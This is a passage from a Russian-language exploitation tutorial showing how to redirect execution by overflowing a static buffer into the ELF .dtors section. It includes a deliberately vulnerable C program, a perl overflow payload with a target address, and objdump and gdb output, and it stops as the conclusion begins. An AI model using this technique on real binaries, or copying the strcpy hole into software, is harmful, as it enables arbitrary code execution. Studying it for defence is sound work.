С этой точки зрения стоит принять в расчет несколько моментов:
        * .ctors и .dtors отображаются в память в адресном
пространстве процесса и по умолчанию могут быть перезаписаны.
        * Эти секции не исчезнут после обычного выполнения процедуры
strip(1) над бинарным файлом.
        * Нас не волнует, объявит ли программист какую-либо функцию в
качестве constructor или destructor, потому что в любом случае обе эти
секции будут созданы и отобразятся в память.

Кровожадные детали



Наверное, пора уже продемонстрировать вышеизложеные
соображения. Поехали...

$ cat > yopta.c <
#include

static void start(void) __attribute__ ((constructor));
static void stop(void) __attribute__ ((destructor));

int
main(int argc, char *argv[])
{
        printf("start == %p\n", start);
        printf("stop == %p\n", stop);

        exit(EXIT_SUCCESS);
}

void
start(void)
{
        printf("hello world!\n");
}

void
stop(void)
{
        printf("goodbye world!\n");
}

EOF
$ gcc -o yopta yopta.c
$ ./yopta
hello world!
start == 0x8048480
stop == 0x80484a0
goodbye world!
$ objdump -h yopta
                                       .
                                       .
                                       .
 14 .data         0000000c  08049558  08049558  00000558  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 15 .eh_frame     00000004  08049564  08049564  00000564  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 16 .ctors        0000000c  08049568  08049568  00000568  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 17 .dtors        0000000c  08049574  08049574  00000574  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 18 .got          00000024  08049580  08049580  00000580  2**2
                  CONTENTS, ALLOC, LOAD, DATA
                                       .
                                       .
                                       .
$ objdump -s -j .dtors yopta

yopta:     file format elf32-i386

Contents of section .dtors:
 8049574 ffffffff a0840408 00000000           ............

        Мы видим, что адрес функции  stop() содержится в .dtors, как и
говорилось выше. Наша цель здесь - эксплоитация программы, поэтому
забудем о .ctors до тех пор, пока не сможем сделать с ней что-нибудь
полезное.



        Теперь посмотрим на обычную программу без этих атрибутов функций:

$ cat > bleh.c <
#include
#include

static void bleh(void);

int
main(int argc, char *argv[])
{
        static u_char buf[] = "bleh";

        if (argc < 2)
                exit(EXIT_FAILURE);

        strcpy(buf, argv[1]);

        exit(EXIT_SUCCESS);
}

void
bleh(void)
{
        printf("goffio!\n");
}
EOF
$ gcc -o bleh bleh.c
$ ./bleh
$ objdump -h bleh
                                       .
                                       .
                                       .
 17 .dtors        00000008  0804955c  0804955c  0000055c  2**2
                  CONTENTS, ALLOC, LOAD, DATA
                                       .
                                       .
                                       .

        Хорошо! .dtors все еще там, даже когда нет ни одной функции,
помеченой как destructor. Теперь взглянем на ее содержимое:

$ objdump -s -j .dtors bleh

bleh:     file format elf32-i386

Contents of section .dtors:
 804955c ffffffff 00000000                    ........

        Присутствуют только метки начала и конца, но не указано ни
одного адреса функции.



        Возможно то, что buf объявлена как инициализированная static
переменная выглядит случайностью. Поступая таким образом, мы заставим ее
расположиться в секции .data, которая очень близка к нашей цели - секции
.dtors. Таким образом, у нас появиться возможность достигнуть цели простым
переполнением buf. Это не единственный путь, с помощью которого мы можем
писать в это место, фактически любой метод, позволяющий писать в адресное
пространство процесса будет полезен (атака на ошибки в форматной строке,
прямое копирование функцией strcpy c возвратом в libc, порча куска
памяти, выделенного функцией malloc, ...) Метод, используемый здесь,
выбран из-за своей простоты.



        Теперь наша цель выполнить код, содержащийся в bleh() (который
никогда не вызовется при обычных условиях), созданием записи в .dtors,
которая указывает на него. Для этого мы должны оставить метку начала и
перезаписать метку конца (0x00000000).

$ objdump --syms bleh | egrep 'text.*bleh'
080484b0 l     F .text  0000001a              bleh

        Как мы видим, bleh() располагается по адресу  0x080484b0. Пришло
время эксплоитить.

$ ./bleh `perl -e 'print "A" x 24; print "\xb0\x84\x04\x08";'`
goffio!
Segmentation fault (core dumped)

        Как мы и ожидали, тест сработал, но, возможно, лучше проверить
еще раз и посмотреть на труп нашего процесса, чтобы увидеть изменения.

$ gdb bleh core
GNU gdb 5.0
Copyright 2000 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i686-pc-linux-gnu"...
Core was generated by `./bleh AAAAAAAAAAAAAAAAAAAAAAAAњ
                                                      '.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libc.so.6...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
#0  0x40013ed8 in ?? ()
(gdb) bt
#0  0x40013ed8 in ?? ()
#1  0x8048521 in _fini ()
#2  0x4003c25a in exit (status=0) at exit.c:57
#3  0x80484a3 in main ()
#4  0x400339cb in __libc_start_main (main=0x8048460 , argc=2,
argv=0xbfff
f8a4, init=0x80482e0 <_init>,
    fini=0x804850c <_fini>, rtld_fini=0x4000ae60 <_dl_fini>,
stack_end=0xbffff8
9c) at ../sysdeps/generic/libc-start.c:92
(gdb) maintenance info sections
Exec file:
    `/home/rwx/tmp/bleh', file type elf32-i386.
                                       .
                                       .
                                       .
    0x0804953c->0x08049550 at 0x0000053c: .data ALLOC LOAD DATA HAS_CONTENTS
    0x08049550->0x08049554 at 0x00000550: .eh_frame ALLOC LOAD DATA
HAS_CONTENT
S
    0x08049554->0x0804955c at 0x00000554: .ctors ALLOC LOAD DATA
HAS_CONTENTS
    0x0804955c->0x08049564 at 0x0000055c: .dtors ALLOC LOAD DATA
HAS_CONTENTS
    0x08049564->0x0804958c at 0x00000564: .got ALLOC LOAD DATA HAS_CONTENTS
                                       .
                                       .
                                       .

        Теперь мы хотим посмотреть, что было перезаписано.

(gdb) x/x 0x08049550
0x8049550 :      0x41414141

Вот содержание секции .eh_frame (используемой gcc для хранения
указателей на обработчики exception для поддерживаемых им языков).

(gdb) x/x 0x08049554
0x8049554 <__CTOR_LIST__>:      0x41414141
(gdb) x/8x 0x0804955c
0x804955c <__DTOR_LIST__>:      0x41414141      0x080484b0      0x08049500

 0x40013ed0
0x804956c <_GLOBAL_OFFSET_TABLE_+8>:    0x4000a960      0x400fb550
0x08048
336      0x400338cc
(gdb)

        Как мы видим, мы не беспокоились о том, чтобы поместить признак
начала 0xffffffff в подходящее место, и его наличие было совсем
необязательным, просто поставив адрес bleh() в нужную позицию, мы
заставили код выполниться. Можно также заметить, что ошибка защиты в
программе после выполнения функции _fini(), очевидно, вызвана поиском
несуществующей метки конца (0x00000000) и переходами по каждому адресу,
сразу после нашего (найденные в Global Offset Table).



Заключение




        Был показан альтернативный путь вставки шелл-кода. Эта техника
имеет несколько преимуществ: